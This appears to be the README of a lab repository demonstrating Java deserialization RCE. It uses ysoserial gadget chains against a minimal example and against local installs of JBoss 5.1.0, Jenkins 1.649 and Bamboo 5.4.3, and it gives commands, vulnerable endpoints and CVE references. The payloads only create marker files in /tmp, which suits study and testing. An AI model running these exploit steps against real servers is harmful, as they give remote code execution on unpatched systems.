Here there are practical examples of the - deserialization of untrusted data - vulnerability.

These pocs use the ysoserial tool to generate exploits.

• Use OpenJDK 1.8

cd MinimalExample
java -jar ../ysoserial-master-v0.0.5-gb617b7b-16.jar CommonsCollections6 "/tmp/exploit.sh">payload.ser 
cp ./exploit.sh /tmp
chmod +x /tmp/exploit.sh
javac Employee.java
javac DeSerializingObject.java
java -classpath .:apache-collections-commons-collections-3.1.jar DeSerializingObject 

• You will find a file "pwned" in /tmp. This means that the attack has been completed correctly with a RCE.

• Use OpenJDK 1.8
• Download a vulnerable version of Jboss (in this case you can find the v5.1.0)
• Run jboss: java -jar ./JBoss/jboss-5.1.0.GA/bin/run.jar
• Download and open Burp: setup your proxy on localhost:9090
• In your browser start proxy on localhost:9090
• Generate the payload with ysoserial: java -jar ysoserial.jar CommonsCollections5 "touch /tmp/JbossVulnerable.txt" > JbossPayload.ser or use the payload inside the folder JBoss
• Open localhost:8080/invoker/JMXInvokerServlet
• In Burp "paste from file" and choose JbossPayload.ser
• Checkout in /tmp folder the execution of "touch /tmp/JbossVulnerable.txt"

https://www.vulmon.com/vulnerabilitydetails?qid=CVE-2016-7065&scoretype=cvssv2

• Use OpenJDK 1.8
• Download a vulnerable version of Jenkins (in this case you can find the v1.649)

java -jar ./jenkins-war-1.649.war
java -cp ysoserial-master-v0.0.5-gb617b7b-16.jar ysoserial.exploit.JenkinsListener http://localhost:8080 CommonsCollections5 "touch /tmp/JenkinsVulnerable.txt"

https://www.vulmon.com/vulnerabilitydetails?qid=CVE-2015-8103&scoretype=cvssv2

• Use openJDK 1.7
• Download and install vulnerable version of Bamboo (v5.4.3 in this case)
• Create folder /home/user/bamboohome/
• Add/update the property /Bamboo/atlassian-bamboo-5.4.3/atlassian-bamboo/WEB-INF/classes/bamboo-init.properties with bamboo.home=/home/user/bamboohome
• Get fingerprint -> localhost:8085/agentServer/GetFingerprint.action?agentType=elastic
• Generate payload with ysoserial
• Open localhost:8085/agentServer/message?fingerprint and "copy from file" in burp java -jar ysoserial.jar CommonsCollections4 "touch /tmp/BambooVulnerable.txt" > BambooPayload.ser or use the payload inside the folder JBoss

https://www.vulmon.com/vulnerabilitydetails?qid=CVE-2015-6576&scoretype=cvssv2

Find them in the /Ysoserial-stacktraces directory

• https://www.edoardovignati.it/how-to-install-old-versions-of-java-jdk/
• https://www.slideshare.net/codewhitesec/exploiting-deserialization-vulnerabilities-in-java-54707478

• https://link.springer.com/chapter/10.1007/978-3-030-00470-5_21